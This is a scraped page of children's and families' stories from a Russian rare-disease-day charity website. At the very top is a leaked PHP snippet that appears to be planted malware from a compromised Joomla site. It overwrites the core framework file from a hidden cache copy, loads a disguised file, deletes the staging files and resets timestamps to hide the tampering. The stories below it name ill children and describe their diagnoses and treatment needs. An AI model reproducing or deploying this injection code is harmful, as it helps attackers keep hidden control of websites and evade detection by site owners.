$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Истории
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Истории
Истории
Сообщество НЦЛ

 

Здравствуйте!

Наше сообщество создано родителями детей с тяжелым неизлечимым заболеванием НЕЙРОНАЛЬНЫЙ ЦЕРОИДНЫЙ ЛИПОФУСЦИНОЗ (НЦЛ, Болезнь Баттена).

Обычно первые симптомы НЦЛ 2 типа проявляются в возрасте 2-4 лет (чаще в 3 года). До начала заболевания ребенок ничем не отличается от своих сверстников. Как правило, такие дети рождаются здоровыми и в первые годы своей жизни, до начала заболевания, достигают многих успехов в развитии. Они хорошо развиты физически, контактны, посещают детские учреждения, психологически развиты по возрасту. Однако может наблюдаться небольшое отставание в развитии речи или некоторых навыков. Манифестными симптомами являются эпилептические приступы, задержка речевого развития, атаксия. По мере развития заболевания наблюдается прогрессирующая атрофия головного мозга, с чем связаны интеллектуальные нарушения, утрата ранее приобретенных навыков, постепенное снижение зрения, слепота, полная обездвиженность, нарушение приема пищи.

Подробнее...
 
Катюша Климишина

 

Дочь моих родственников из Челябинска КАТЮША КЛИМИШИНА после прививки от полиомиелита очень тяжело заболела. Ей поставили диагноз: атипичный гемолитико-уремический синдром. Это очень редкое и тяжелое заболевание грозит внезапной смертью ребенку. Лечение в Челябинске оказалось неэффективным и Катю привезли в Москву. В московской больнице состоялся консилиум и врачи вынесли заключение: ребенку необходим препарат Экулизумаб (Солирис).

Подробнее...
 
Вадим 10 лет

 

Вадим Когда в нашей семье 13 сентября 2001 года родился Вадим, мы даже представить себе не могли, что может что – то случиться. Ведь до 1 года Вадим рос и развивался как обычный ребенок, у него появлялись первые зубки, первые слова, первые шаги, и каждому его начинанию мы радовались. Когда впервые мы увидели деформацию груди, врачи сказали, что это просто рахит, еще тогда мы не догадывались о том, что у Вадима может быть серьезное заболевание. Он рос и радовался жизни, как и все детки. После того, как мы получили в 2004 году результаты анализа, наша жизнь перевернулась. Вадиму был поставлен диагноз мукополисахаридоз 4 А типа. Еще тогда мы не знали, что лечения этого заболевания нет не только в России, но и по всему миру.

Подробнее...
 
Мусаев Бувайсар

 

Здравствуйте, уважаемые дамы и господа! К вам обращается мама смертельно больного мальчика, Мусаева Бувайсара, ему 7,5 лет, с просьбой, помочь мне в лечении моего сына. Мой сын болен очень редким в мире генетическим диагнозом Мукополисахаридозом 2 типа, синдром Хантера (МПС). Бувайсару необходимо срочно начать внутривенное прокапывание единственного в мире подходящего для его типа препарата элапраза. У меня на руках решение консилиума НЦЗД РАМН, подтверждающее пожизненную необходимость элапразы. Это единственная ферментно-заменяющая терапия. Моему сыну с каждым годом становится все хуже и хуже. Эти дети не доживают до совершеннолетия, а последние 5-6 лет заканчивают жизнь прикованными к постели и умирают в сильных муках.

Подробнее...
 
Башмакова Ирина

 

14 апреля 1977 года в России было уныло, а в молодой семье учительницы и инженера был праздник - у них родилась здоровенькая доченька! Нормальный вес, громкий голос, огромные щёки, прекрасный аппетит! Молодые родители долго думали, как назвать дочку, и пришли к решению назвать Катей. И молодой отец с гордостью пошёл в ЗАГС, чтоб зарегистрировать дочку.

Подробнее...
 
Спиридонов Артемий

 

Нужна СРОЧНО помощь малышу Спиридонову Артемию 2 года 11 месяцев. Диагноз: Лимфангиома обширная правого бедра. О нашей болезни: Артемий мой первый и долгожданный сынок. Родились мы в срок 21 марта 2009 года, но с помощью кесарева. Роды, были тяжелые, у малыша началась тахикардия и сказали, что он может не выжить, если роды будут протекать естественно. Все-таки мы родились здоровенькими, с весом 3750 кг 54 см. Я была на седьмом небе от счастья. Нас выписали домой и так мы спокойно прожили три месяца. В три месяца нам сделали прививку в оба плеча и в оба бедра. Перенесли ее не тяжело, но через две недели у нас увеличилось правое бедро. Врачи сначала начали говорить, что ничего страшного, такое бывает, просто отек и посоветовали прикладывать Димексид. Но бедро не переставала увеличиваться. Мы обратились по совету знакомых врачей в Ставропольскую частную клинику, где смогли сделать УЗИ и они написали заключение: «Гематома или Лимфангиома?»

Подробнее...
 
Суворов Захар

 

Здравствуйте,меня зовут Суворова Наталия.Моему младшему сынишке Захару два годика.Родился здоровым веселым мальчиком.Но с 6 месяцев начались проблемы.Малыш все время кричал,стал вялым как тряпичная кукла,начались частые судороги.С этого времени мы практически жили в больницах.Сначала поставили диагноз:эпилепсия(хотя на ЭЭГ очагов не было),назначили лечение.Но лучше малышу не становилось.В итоге выяснили,что у Захара низкий сахар крови-1,6 -2.0(при нижней границе нормы 3,5м/моль).В ноябре 2011 мы попали в Институт имени Сперанского в Москве и нам поставили диагноз:гиперинсулинизм.

Подробнее...
 
Данилова Сонечка

 

Наша Сонечка болеет с рождения. В 2004 году, в возрасте 9-ти месяцев ей поставлен диагноз смешанная тяжелая форма муковисцидоза. С 2004-го года она стала получать лечение в РДКБ г.Москва, где лечащим врачом была Пердерко Людмила Васильевна. В Москву мы ездим не часто, так как не позволяют финансовые возможности. Но как только удается скопить небольшую сумму сразу собираемся и едем. В 2010 году нам назначен препарат ТОБИ по 2 ампулы в день курсом 28 дней, перерыв 28 дней. Назначение пожизненно.

Подробнее...
 
Андрей Иванов

 

Мастоцитоз (urticaria pigluentosa) - есть ли эффективные методики (тактики) лечения?. Б Мальчику 7 месяцев начали распространяться пятнышки по телу. Врачи поставили диагноз мастоцитоз, назначили кетотифен. Прогресса не видно пятна продолжают появляться. Можно ли хотя бы остановить распространение? Какие лекарства (комплекс мероприятий) могут помочь?

Подробнее...
 
Надежда

 

Здравствуйте. Меня зовут Надежда. Я мать троих детей. 06.06.2011 года родился мой младший сын Павлик. Врачи поставили ему редкое заболевание - врожденный гипперинсулинизм. Особенность этой болезни в том, что у ребенка низкий уровень сахара в крови и без специальных лекарств он не держится. У нас большая проблема с покупкой лечебного препарата, который стабилизирует уровень сахара в крови и, благодаря которому, малыш себя чувствует хорошо, так как на территории Российской Федерации PROGLIСEM не производится и не продается.

Подробнее...
 
<< Первая < Предыдущая 1 2 3 4 5 Следующая > Последняя >>

Страница 2 из 5

Завершенные конкурсы

Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru